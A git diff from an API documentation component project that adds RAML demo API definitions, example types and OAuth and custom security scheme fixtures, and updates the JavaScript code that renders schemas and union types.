boolean value with a string union value. + /string: + get: + queryParameters: + string: + type: string + description: Simple string + enum: + type: string + enum: [development, staging, qa, production] + description: Enum string + minMaxLnegth: + type: string + minLength: 5 + maxLength: 15 + description: Min 5 max 15 + patternLettersOnly: + type: string + pattern: '[a-zA-Z]*' + description: Letters only pattern + patternNumbersOnly: + type: string + pattern: '[0-9]*' + description: Number only pattern + displayName: + type: string + displayName: String 6 + description: With display name + notRequired: + type: string + required: false + description: Optional value + withDefault: + type: string + default: This is a default + description: Default value + withDefaultNotRequired: + type: string + default: This is a default + required: false + description: Default value and not required + stringUnionNumber: + type: string | number + description: Either string or number + withExamples: + type: string + examples: + Word 1: Option 1 + Word 2: Option 2 + Word 3: 123456 + description: String with examples. + anArray: + type: string[] + description: Array of strings. + /dates: + get: + queryParameters: + dateOnly: + type: date-only + description: Date only, like "2015-05-23" + timeOnly: + type: time-only + description: Time only, like "12:30:00" + dateTimeOnly: + type: datetime-only + description: Date and time only, like "2015-07-04T21:00:00" + rfc3339: + type: datetime + format: rfc3339 + description: Date and time, rfc3339 format, like "2016-02-28T16:41:41.090Z" + rfc2616: + type: datetime + format: rfc2616 + description: Date and time, rfc2616 format, like "Sun, 28 Feb 2016 16:41:41 GMT" + dateTimeNoFormat: + type: datetime + description: Date and time, assumed rfc3339 format, like "2016-02-28T16:41:41.090Z" + dateOnlyDefaultValue: + type: date-only + default: 2015-05-23 + description: Date only, with a default value. + timeOnlyDefaultValue: + type: time-only + default: 12:30:00 + description: Time only, with a default value. + rfc3339DefaultValue: + type: datetime + format: rfc3339 + default: 2016-02-28T16:41:41.090Z + description: Date and time, rfc3339 format, default value + rfc2616DefaultValue: + type: datetime + format: rfc2616 + default: Sun, 28 Feb 2016 16:41:41 GMT + description: Date and time, rfc2616 format, default value + dateTimeDefaultValue: + type: datetime + default: 2016-02-28T16:41:41.090Z + description: Date and time, with a default value. + dateTimeUnion: + type: datetime | string + description: Date and time union with string. + dateTimeNil: + type: datetime | nil + description: Required but nillable. + dateArray: + type: datetime[] + description: A list of datetime + /numbers: + get: + queryParameters: + simple: number + intFormat: + type: number + format: int + description: int format number + int8Format: + type: number + format: int8 + description: int8 format number + int16Format: + type: number + format: int16 + description: int16 format number + int32Format: + type: number + format: int32 + description: int32 format number + int64Format: + type: number + format: int64 + description: int64 format number + longFormat: + type: number + format: long + description: long format number + floatFormat: + type: number + format: float + description: float format number + doubleFormat: + type: number + format: double + description: double format number + floatWithMultiple: + type: number + format: float + multipleOf: 1.1 + description: float format number with multiple of. + integerFormat: + type: integer + description: An integer + integerMinMax: + type: integer + minimum: 0 + maximum: 100 + multipleOf: 5 + description: Min, max, and multiple of. + integerUnionString: + type: integer | string + description: Union with string + integerUnionNil: + type: integer | nil + description: Required but nillable + notRequired: + type: integer + required: false + description: Required but nillable + integerDefault: + type: integer + default: 12 + description: Integer with default "12" + floatDefault: + type: number + format: float + multipleOf: 1.1 + default: 2.2 + description: float with default if "2.2" + integerArray: + type: integer[] + description: A list of integers +/any-body: + post: + body: + application/json: + type: any + description: Whatever you want to put there, just do it. + example: "An example of Any body" + displayName: This is ANY + default: "(empty)" +/a-file-body: + post: + body: + image/*: + type: file + fileTypes: ['image/jpeg', 'image/png'] + maxLength: 307200 + displayName: The image + description: Allows to upload any image. +/a-scalar-body: + post: + body: + text/plain: + type: string + description: Generally some fine description + default: "To be updated soon" + minLength: 3 + maxLength: 1024 +/an-union-body: + post: + body: + application/json: + type: AppPerson|Product + description: Either product or a person. +/raml-examples: + post: + body: + application/json: + type: object + examples: !include examples/person.raml +/date-formats: + post: + body: + application/json: + properties: + birthday: + type: date-only # no implications about time or offset + # example: 2015-05-23 + lunchtime: + type: time-only # no implications about date or offset + # example: 12:30:00 + fireworks: + type: datetime-only + # example: 2015-07-04T21:00:00 + created: + type: datetime + # example: 2016-02-28T16:41:41.090Z + format: rfc3339 + If-Modified-Since: + type: datetime + # example: Sun, 28 Feb 2016 16:41:41 GMT + format: rfc2616 + # rfc3339 or rfc2616 +/body-types: + /json: + post: + body: + application/json: + type: AppPerson + /xml: + post: + body: + application/xml: + type: AppPerson + /form: + post: + body: + application/x-www-form-urlencoded: + type: AppPerson + /multi-parts: + post: + body: + multipart/form-data: + type: AppPerson +/generated-example: + post: + body: + application/json: + type: DemoPerson + application/xml: + type: DemoPerson + application/x-www-form-urlencoded: + type: DemoPerson + put: + body: + application/json: + type: DemoPerson[] + application/xml: + type: DemoPerson[] + application/x-www-form-urlencoded: + type: DemoPerson[] +/demo-types: + post: + body: + application/json: + type: DemoTypes.Pet + responses: + 200: + body: + application/json: + type: DemoTypes.Dog | DemoTypes.Cat +/raml-and-union: + post: + body: + application/json: + type: [DemoTypes.Mamal, DemoTypes.Pet] +/raml-and-or-union: + post: + body: + application/json: + type: [DemoTypes.Mamal, DemoTypes.Pet | DemoTypes.Cat] +/body-with-enums: + post: + body: + application/json: + type: object + properties: + anEnum: + type: string + default: Some value + description: A combo of all string properties + displayName: Combo (string) + enum: + - value 1 + - value 2 + - value 3 + - value 4 + - value 5 + - value 6 + - value 7 + - value 8 + - value 9 + - value 10 diff --git a/demo/apis/demo-api/examples/person.raml b/demo/apis/demo-api/examples/person.raml new file mode 100644 index 0000000..d0a0bb1 --- /dev/null +++ b/demo/apis/demo-api/examples/person.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample + +Person exmaple: + id: R34fg663H9KW9MMSKISI + name: Pawel Psztyc + birthday: 1983-10-20 + gender: male + url: https://domain.com/profile/pawel.psztyc + image: + url: https://domain.com/profile/pawel.psztyc/image, + thumb: https://domain.com/profile/pawel.psztyc/image/thumb + tagline: Some text about me. + language: en_GB + etag: W\\244m4n5kj3gbn2nj4k4n4 diff --git a/demo/apis/demo-api/examples/product.xml b/demo/apis/demo-api/examples/product.xml index 2063f1d..ce2947a 100644 --- a/demo/apis/demo-api/examples/product.xml +++ b/demo/apis/demo-api/examples/product.xml @@ -1,7 +1,7 @@ f2f7933a-a9ce-11e6-80f5-76304dec7eb7 - Acme product - mentol flavor, 500 ml. + Acme product - menthol flavor, 500 ml. 500 ml 042100005264 diff --git a/demo/apis/demo-api/library/demo-types.raml b/demo/apis/demo-api/library/demo-types.raml new file mode 100644 index 0000000..b47c3e9 --- /dev/null +++ b/demo/apis/demo-api/library/demo-types.raml @@ -0,0 +1,44 @@ +#%RAML 1.0 Library + +types: + AppPeson: !include ../resourceTypes/app-person.raml + BaseResource: + description: | + API resource. + type: object + properties: + etag: + type: string + description: | + ETag of this resource for caching purposes. + __This property will be ignored when creating an object.__ + Pet: + type: BaseResource + properties: + type: + type: string + description: The object type for child classes. + name: + type: string + description: The name of the pet. + sound: + type: string + description: The sound it makes. + discriminatorValue: type + Dog: + type: Pet + properties: + type: + default: Dog + sound: + default: Woof + friendly: boolean + Cat: + type: Pet + properties: + type: + default: Cat + Mamal: + type: object + properties: + birthDate: date-only diff --git a/demo/apis/demo-api/resourceTypes/app-person.raml b/demo/apis/demo-api/resourceTypes/app-person.raml index b401640..250793b 100644 --- a/demo/apis/demo-api/resourceTypes/app-person.raml +++ b/demo/apis/demo-api/resourceTypes/app-person.raml @@ -7,7 +7,7 @@ description: | type: !include resource.raml example: - id: "R34fg663H9KW9MMSKISI" + id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e" name: "Pawel Psztyc" birthday: "1983-10-20" gender: male @@ -18,18 +18,35 @@ example: tagline: Some text about me. language: en_GB etag: "W\\244m4n5kj3gbn2nj4k4n4" + favouriteNumber: 10 + favouriteTime: 10:29:52 + nillable: null + properties: id: - description: A unique identifier for a person. It is a 32 bit string containing alphanumeric characters. + description: | + A unique identifier of a person. + + It is a 32 bit string containing alphanumeric characters. + minLength: 32 + maxLength: 32 + pattern: "[A-Za-z0-9]*" + displayName: ID name: required: true example: John Smith description: Person full name. The input will be rejected if this property is not set while creating new object. type: string pattern: "[0-9a-zA-Z ]+" + displayName: Person name birthday: - type: string + type: date-only description: The person's date of birth, represented as YYYY-MM-DD. + displayName: Person birthday + favouriteTime: + type: time-only + description: The person's favourite time of day + displayName: Some example gender?: type: string description: | @@ -37,13 +54,58 @@ properties: * "male" - Male gender. * "female" - Female gender. * "other" - Other. + enum: [male, female, other] + examples: + Women: female + Man: male + Elmo: other + displayName: Gender + favouriteNumber: + type: number + minimum: 0 + maximum: 9999 + multipleOf: 5 + required: true + displayName: Favourite number + example: 25 url: type: string description: The URL of this person's profile. + displayName: Profile URL image: !include image.raml tagline: type: string description: The brief description (tagline) of this person. + displayName: Tagline language: type: string description: The user's preferred language for rendering. + displayName: Language + newsletter: + type: boolean + required: false + default: false + displayName: Newsletter consent + age: + type: integer + required: false + displayName: Age + description: | + Very unpractical property to have in a data store. + created: + type: datetime-only + required: false + example: 2018-04-09T19:10:15 + fietype: + required: false + type: file + fileTypes: + - image/png + - image/jpeg + - image/jpg + - image/gif + minLength: 10 + maxLength: 1000 + nillable: + type: string | nil + default: null diff --git a/demo/apis/demo-api/resourceTypes/product.raml b/demo/apis/demo-api/resourceTypes/product.raml index 414dfd9..17ec15d 100644 --- a/demo/apis/demo-api/resourceTypes/product.raml +++ b/demo/apis/demo-api/resourceTypes/product.raml @@ -13,7 +13,7 @@ properties: name: type: string description: Product name - example: Acme product - mentol flavor, 500 ml. + example: Acme product - menthol flavor, 500 ml. required: true quantity: type: number diff --git a/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml b/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml new file mode 100644 index 0000000..cc0da28 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml @@ -0,0 +1,143 @@ +#%RAML 1.0 AnnotationTypeDeclaration +displayName: OAuth 2.0 custom settings +description: | + OAuth 2.0 allows to extend the specification with custom access token types, + endpoint parameters, grant types or response types. + This annotation allows you to annotate the `settings` property of OAuth 2.0 + security scheme type to inform applications about additional settings. + ## Use case + Let's say a authorization server requires to send a `resource` query parameter + with the authorization request. The `resource` parameter can be any string. + Currently it is impossible to define this property in RAML file. + Similar if the code exchange request requires to put the `resource` parameter + into the request body. + This annotation allows you to define this parameter with the RAML definition + and place the parameter in the right request. + ## Annotation Target + The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) + for those annotations is `SecuritySchemeSettings`. + You can only apply it to Security Scheme `settings` property. + ## Example + ```yaml + annotationTypes: + customSettings: !include oauth-2-custom-settings.raml + securitySchemes: + oauth2: + type: OAuth 2.0 + describedBy: + headers: + Authorization: + example: "Bearer token" + settings: + (customSettings): + authorizationGrants: [custom_grant] + ignoreDefaultGrants: + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + headers: + x-auth-resource: + type: string + required: false + accessTokenSettings: + body: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + authorizationGrants: [implicit] + scopes: profile + ``` + ## API console + This annotation is recognized and respected by API console. +allowedTargets: [ SecuritySchemeSettings ] +properties: + authorizationSettings: + description: | + Settings to be applied to the `authorizationUri` GET request. + Define any query parameters or headers that are required by your OAuth 2.0 + authorization server implementation. + This settings can be applied only to `token` and `code` requests + type: object + displayName: Authorization settings + required: false + properties: + queryParameters: + displayName: Authorization query parameters + description: | + Query parameters to be applied to the `authorizationUri`. + Use the same notation as RAML's `queryParameters`. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + accessTokenSettings: + displayName: Access token settings + description: | + Settings to be applied to the token endpoint POST request. + Define query parameters, headers or custom body paramaeters that should + be included into the request. + Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded` + and the processor has to always assume this content type. + type: object + required: false + properties: + queryParameters: + displayName: Token query parameters + description: | + Query parameters to be applied to the `accessTokenUri`. + Use the same notation as RAML's `queryParameters`. + OAuth 2.0 specification does not specify any query parameters for this + type of request. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + headers: + displayName: Token request headers + description: | + Headers to be set on the token request. + Use the same notation as RAML's `headers`. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + body: + displayName: Token body parameters + description: | + Body parameters to be applied to the `accessTokenUri`. + Properties will be applied to the default set of OAuth 2.0 token request + parameters. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + authorizationGrants: + type: string[] + displayName: Custom authorization grants + required: false + description: | + List of custom authorization granst supported by your OAuth 2.0 server + ignoreDefaultGrants: + type: nil + required: false + description: | + If set, the processor should not use any of the `authorizationGrants` + properties defined in the `settings` and should be replaced by + `authorizationGrants` defined in this annotation. + This can be used only if this annotation `authorizationGrants` is set. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml new file mode 100644 index 0000000..e4aaffd --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + headers: + token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml new file mode 100644 index 0000000..ebc3f6d --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] diff --git a/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml b/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml new file mode 100644 index 0000000..b3abf1b --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has no auth grants! +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml b/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml new file mode 100644 index 0000000..4947750 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has PKCE annotation +settings: + (pkce): true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml new file mode 100644 index 0000000..4a5b7e2 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0.raml new file mode 100644 index 0000000..9aa9493 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1, HMAC-SHA1] diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml new file mode 100644 index 0000000..6cc6ffc --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: This has no settings. diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml new file mode 100644 index 0000000..ea25a6d --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml new file mode 100644 index 0000000..b9d59d5 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1] diff --git a/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml b/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml new file mode 100644 index 0000000..0c26c60 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/apis/demo-api/securitySchemes/passthrough.raml b/demo/apis/demo-api/securitySchemes/passthrough.raml new file mode 100644 index 0000000..383896c --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/passthrough.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryParameters: + query: + type: string + example: my-value + description: | + This demonstrates how Pass Through authentication + works with `api-authorization-method` component. + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + headers: + api_key: + type: string + pattern: "[0-9a-zA-Z\\.-]+" + description: | + This headers has pattern included in the definition. diff --git a/demo/apis/demo-api/securitySchemes/x-custom copy.raml b/demo/apis/demo-api/securitySchemes/x-custom copy.raml new file mode 100644 index 0000000..b76322d --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/x-custom copy.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 SecurityScheme + +description: | + A custom security scheme for authenticating requests. + It allows to set `SpecialToken` header from the authorization panel. + The same header should be rendered in the headers editor with console using + RAML JS parser. + With `AMF` console this is separated information. + This scheme also sets `debugToken` and `booleanToken` query parameters. + Both are enums, however `booleanToken` can only have `true` and `false` + values. +type: x-my-custom +describedBy: + headers: + SpecialTokenHeader: + description: | + Used to send a custom token. + type: string + queryParameters: + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + booleanTokenParam: + description: Just to test boolean values. + type: boolean + default: true + responses: + 401: + description: | + Bad token. + 403: diff --git a/demo/apis/demo-api/securitySchemes/x-other.raml b/demo/apis/demo-api/securitySchemes/x-other.raml new file mode 100644 index 0000000..45e4cb5 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/x-other.raml @@ -0,0 +1,29 @@ +#%RAML 1.0 SecurityScheme + +description: | + Other custom security method for authorization. +type: x-custom +describedBy: + queryParameters: + apiUserIdParam: + description: | + Your api user ID. Some imaginary value. + type: number + required: true + apiNonceParam: + description: Random string + type: string + responses: + 401: + description: | + Bad token autorization. + body: + application/json: + type: object + properties: + error: + type: boolean + description: Always true. Indicates that the response is errord. + message: + type: string + description: Human readable message describing the error. diff --git a/demo/apis/demo-api/securitySchemes/x-query-string.raml b/demo/apis/demo-api/securitySchemes/x-query-string.raml new file mode 100644 index 0000000..438b230 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/x-query-string.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + Tests for queryString RAML's property +type: x-custom +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/apis/demo-api/types/DemoPerson.raml b/demo/apis/demo-api/types/DemoPerson.raml new file mode 100644 index 0000000..e52dc43 --- /dev/null +++ b/demo/apis/demo-api/types/DemoPerson.raml @@ -0,0 +1,67 @@ +#%RAML 1.0 DataType + +displayName: Person +description: | + A person but without examples defined inline. + +type: object + +properties: + id: + xml: + attribute: true + description: A unique identifier for a person. It is a 32 bit string containing alphanumeric characters. + type: string + example: ad3fd6d4-af89-11eb-8529-0242ac130003 + name: + required: true + example: John Smith + description: Person full name. The input will be rejected if this property is not set while creating new object. + type: string + pattern: "[0-9a-zA-Z ]+" + xml: + attribute: true + name: fullname + birthday: + type: date-only + description: The person's date of birth, represented as YYYY-MM-DD. + examples: + Example 1: 1983-10-20 + Example 2: 1994-08-29 + gender?: + type: string + description: | + The person's gender. Possible values includes, but are not limited to, the following values: + * "male" - Male gender. + * "female" - Female gender. + * "other" - Other. + example: male + url: + type: string + description: The URL of this person's profile. + image: + type: !include ../resourceTypes/image.raml + xml: + wrapped: true + tagline: + type: string + description: The brief description (tagline) of this person. + language: + type: string + description: The user's preferred language for rendering. + example: "Polish" + tags: + description: Tags added to the person. + type: array + items: + properties: + name: + type: string + description: The name of the tag + example: Manager + id: + type: string + description: Tag's identifier. + example: ad3fda8a-af89-11eb-8529-0242ac130003 + xml: + wrapped: false diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index fd5041a..a73a68c 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -114,6 +114,14 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { } } + disconnectedCallback() { + super.disconnectedCallback(); + if (this[debounceValue]) { + clearTimeout(this[debounceValue]); + this[debounceValue] = undefined; + } + } + /** * Calls the `queryGraph()` function in a debouncer. */ diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js index baa8214..e11eecf 100644 --- a/src/elements/ApiSchemaDocumentElement.js +++ b/src/elements/ApiSchemaDocumentElement.js @@ -12,23 +12,26 @@ import { chevronRight } from '@advanced-rest-client/arc-icons'; import commonStyles from './styles/Common.js'; import elementStyles from './styles/ApiSchema.js'; import schemaStyles from './styles/SchemaCommon.js'; -import { readPropertyTypeLabel, isScalarUnion, isScalarType, schemaToType } from '../lib/Utils.js'; +import { readPropertyTypeLabel, isScalarUnion, isScalarType } from '../lib/Utils.js'; import { detailsTemplate, paramNameTemplate, typeValueTemplate, - fileDetailsTemplate, + fileDetailsTemplate, scalarDetailsTemplate, unionDetailsTemplate, + pillTemplate, } from './SchemaCommonTemplates.js'; import { ApiDocumentationBase, serializerValue, descriptionTemplate, + customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ /** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShape} ApiShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ /** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ /** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ @@ -78,6 +81,7 @@ export const toggleExpandedProperty = Symbol('toggleExpandedProperty'); export const andUnionItemTemplate = Symbol('andUnionItemTemplate'); export const orderUnion = Symbol('orderUnion'); export const inheritanceNameTemplate = Symbol('inheritanceNameTemplate'); +export const nilShapeTemplate = Symbol('nilShapeTemplate'); const complexTypes = [ ns.w3.shacl.NodeShape, @@ -286,8 +290,13 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { */ [evaluateExample](example) { const { mimeType } = this; - const generator = new ApiExampleGenerator(); - const value = generator.read(example, mimeType); + let value; + if (mimeType) { + const generator = new ApiExampleGenerator(); + value = generator.read(example, mimeType); + } else { + value = example.value || ''; + } const { name, displayName } = example; const label = displayName || name; const result = /** @type SchemaExample */ ({ @@ -425,6 +434,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { ${this[titleTemplate]()} ${this[descriptionTemplate](schema.description)} + ${this[customDomainPropertiesTemplate](schema.customDomainProperties)} ${this[examplesTemplate]()} ${this[schemaContentTemplate](schema)} `; @@ -440,6 +450,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { if (label === 'schema') { return ''; } + const typeName = name && label !== name && name !== 'schema' ? name : undefined; const { schemaTitle } = this; const headerCss = { 'schema-title': true, @@ -450,6 +461,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
    ${prefix}${label} + ${typeName ? html`(${typeName})` : ''}
    `; @@ -522,6 +534,9 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { return this[arrayShapeTemplate](/** @type ApiArrayShape */ (schema)); } + if (types.includes(ns.aml.vocabularies.shapes.NilShape)) { + return this[nilShapeTemplate](/** @type ApiShape */ (schema)); + } return this[anyShapeTemplate](/** @type ApiAnyShape */ (schema)); } @@ -642,7 +657,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { */ [andUnionItemTemplate](shape) { return html` -
    +
    ${this[inheritanceNameTemplate](shape)} ${this[schemaContentTemplate](shape)}
    @@ -678,15 +693,16 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { [renderedItem] = items; selected = renderedItem.id; } - const options = items.map((item, index) => { - let label = item.name || item.displayName; - if (!label && item.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { - const { dataType } = /** @type ApiScalarShape */ (item); - label = `${schemaToType(dataType)} (#${index + 1})`; - } - if (!label) { - label = `Option #${index + 1}`; - } + const options = items.map((item) => { + const label = readPropertyTypeLabel(item); + // let label = item.name || item.displayName; + // if (!label && item.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + // const { dataType } = /** @type ApiScalarShape */ (item); + // label = `${schemaToType(dataType)} (#${index + 1})`; + // } + // if (!label) { + // label = `Option #${index + 1}`; + // } return { label, id: item.id, @@ -716,7 +732,8 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { .selected="${selected}" data-schema="${schemaId}" > - ${options.map((item) => html`${item.label}`)} + ${options.map((item) => + html`${item.label}`)}
    `; @@ -730,7 +747,11 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { if (schema.readOnly && this.noReadOnly) { return ''; } - return fileDetailsTemplate(schema); + let noDetail = false; + if (schema === this[schemaValue]) { + noDetail = true; + } + return fileDetailsTemplate(schema, noDetail); } /** @@ -817,6 +838,17 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { return html`

    Any schema is accepted as the value here.

    `; } + /** + * @param {ApiShape} schema + * @returns {TemplateResult|string} The template for the Any shape. + */ + [nilShapeTemplate](schema) { + if (schema.readOnly && this.noReadOnly) { + return ''; + } + return html`

    The value of this property is nil.

    `; + } + /** * @param {ApiPropertyShape} schema * @returns {TemplateResult|string} The template for the schema property item. @@ -835,7 +867,8 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { } const required = minCount > 0; const type = readPropertyTypeLabel(range); - const label = schema.name || displayName || range.name; + const label = displayName || schema.name || range.name; + const paramLabel = displayName ? schema.name || range.name : undefined; const [domainType] = range.types; let isComplex = complexTypes.includes(domainType); if (isComplex) { @@ -851,15 +884,21 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { } const allExpanded = this[expandedValue]; const expanded = isComplex && allExpanded.includes(schema.id); + const containerClasses = { + 'property-container': true, + complex: isComplex, + expanded, + }; return html` -
    +
    ${this[propertyDecoratorTemplate](isComplex, expanded, schema.id)} - ${paramNameTemplate(label, required, deprecated)} + ${paramNameTemplate(label, required, deprecated, paramLabel)} ${typeValueTemplate(type)} + ${required ? pillTemplate('Required', 'This property is required.') : ''}
